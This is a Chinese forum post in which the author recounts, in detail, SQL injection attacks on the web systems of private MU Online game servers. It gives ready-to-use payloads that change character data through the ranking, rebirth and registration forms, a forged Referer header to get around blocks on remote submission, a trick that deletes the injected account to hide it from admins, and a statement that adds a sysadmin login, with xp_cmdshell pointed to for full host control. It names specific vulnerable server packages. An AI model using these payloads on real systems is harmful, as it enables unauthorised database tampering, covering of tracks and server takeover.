奇迹私服SQL注入大揭密

MU的WEB系统一直与SQL的注入有着不之缘,我最初也只听说过SQL的注入,后来发现很多的SF都没有检查特殊字符,自己也没有太多的时间玩,才开始学习如何注入。时至今日,感觉还是学了不少东西,虽然改SF为大多数人不齿。

最早改排名的是我的老师,虽然这个方法我从来没有成功,但是告诉了我如何去改。这个方法大概是这样的

100top.as?class=1';update character set .... where name='名字';--

然后是改转生,在我第一次改转生的时候,应该说,转生的漏洞广为人知了,但很遗憾,很多SF没有注意,给了我一个锻炼的机会。转生的修改些许麻烦一点,首先要把原来的页面保存,修改form的action(+上网站的地址,或者使用base参数)和输入框的输入限制,然后在密码或者角色名字的地方输入

1' or 1=1;update character set ... where name = '名字';-- 其他的输入框按要求填,洗红名的地方也是一样的修改方法。

以上一般了解计算机的人都能学会,所以改的人很多,漏洞修补的也很快。

后来,有个服务器修改了转生,却忘记了洗名字的地方,还禁止了远程提交,于是我有开始学习如何模拟远程提交(后来看了http协议,才知道referer这个参数在起作用),于是开始写一些提交程序,后来大概了解到,好象vbscript也有控件支持提交以及http头设置。

Post http /1.1

Accept: */*
Referer: http://XXX.XXX.XXX/register.htm

然后同上面的方法一样,把某一个参数输入1' or 1=1;update character set .... where name='名字';--

在后来,洗名字转生==地方都检查特殊字符。最传统的

select * from character where name='&ps_charname&'... 的注入失去了作用,遗憾的是fishserver至近还存在这样的漏洞(email地方,以及还没有公布的nickname地方,今天算了公布了,可能是hellfish个人很忙,更新不及时,所以fishserver漏洞很多,在后面的介绍中还会说一说它的另外一个漏洞) 这种修改方式算了走到了尽头。

但是,还有另外的一个修改地方,就是注册,我估计有其他的人在这个地方修改,但是没有一直没有结识过,很希望能得到高手的指点。到目前为止,要在注册的地方修改,需要对计算机很了解的人才能做到,首先是要会写程序,避开禁止远程提交,然后是理解SQL,构造合适的SQL注册语句。下面简要说明其中的SQL构造。

SQL SERVER中,可以同时执行多条语句,但是有个限制条件,前面一条语句出错的话,后面的语句无法执行。我们知道,在注册的时候需要填写的数据有

ps_loginname=noname912
ps_password=111111
ps_repassword=111111
ps_answer=123456
ps_person_id=111111111111111111
ps_sno_numb=111111111111111111
ps_question=654321
ps_email=2@431d.com
ps_nickname=111111

但是,一般的系统只检查了ps-loginname(避开select的传统攻击),却不知道,后面的还有一个SQL语句

insert into memb_info values(......,ps_email,ps_question,ps_answer....)

出于对SQL注入的理解,学过计算机的人应该明白,这个地方同样存在一样的问题,首先要对memb-info的表结构清楚,然后,构造一个完整的insert语句,将ps-email改写如下

ps_email=2@431d.com','2@431d.com','111111','111111','1','2003-11-23','2003-11-23','2003-11-23','2003-11-23','1','0','1'); delete from memb_info where memb___id = 'NoName911' or memb___id = 'NoName912';update character set ... where name='名字';--

需要构造完整的insert语句,否则,后面的语句也不能执行,然后delete语句是为了避免每次修改都注册了一个帐号,容易让GM发现,所以一注册就删除,知道后面的update就是修改部分,对公开了1433端口的SF,就可以使用

use Master;exec sp_addlogin 'System', 'manager', 'MuOnline';exec sp_adduser 'System', 'System', 'db_owner';exec sp_addsrvrolemember sysadmin,'System';--

注入一个数据库的控制帐号System,这样还可是使用xp_cmdshell来控制整个计算机(其实,不开1433一样控制了整个计算机,如果没有删除xp_cmdshell存储过程的话,偶从来没有做过,具体很复杂,需要继续学习)。

目前的web系统,fishserver存在这个漏洞,早期的梦之版本也存在,还有其他GM自己写的系统,大部分都存在,RC的71L版本也存在这个问题,至今还有SF使用,不过不是email的地方,而是nickname的地方(fishserver存在是因为它额外了对nickname和email进行了select检查,是否存在重复的,所以应该属于select的注入,但同时还存在insert型的漏洞),唯一例外的是霹雳系统,用.net写的,估计不是不存在漏洞,而是脚本很复杂,不知道从哪里下手,也没有源代码(没有装.net的虚拟机,不能装霹雳系统)

目前的RC系统检查的非常严格,可惜检查混乱,系统资源占用很高,即使能修改的RC系统,我用程序来改(还没有执行html脚本)都慢的死人,还经常把程序卡死,倒。

所以,个人觉得,目前的web系统,除了霹雳系统(据说,这个系统安装比较复杂,看来要花点时间把asp.net搞清楚啊,呵呵)难得有一个简洁安全的,所以本人花了几天时间,改写了一个

http://202.114.36.233/

以前发过,大家可能不愿意用,随便了,只是觉得写了没有人用,有点浪费

另外,还写过一个修改器,带一个丑陋的图形界面,很久以前准备发布的,想一想,觉得不是很好,一直没有公布。

应该说,目前的SF,50%的还可以修改,大家都注意一下吧,如果你的数据库里有

GM-0001 这个帐号,帐号下有noname这个角色,+11+S反S亚装雷神,那么您就要注意换系统或修改系统了。

希望计算机方面的高手多多指点 QQ:12081207

路漫漫其修远,需要学习的东西太多了..

奇迹私服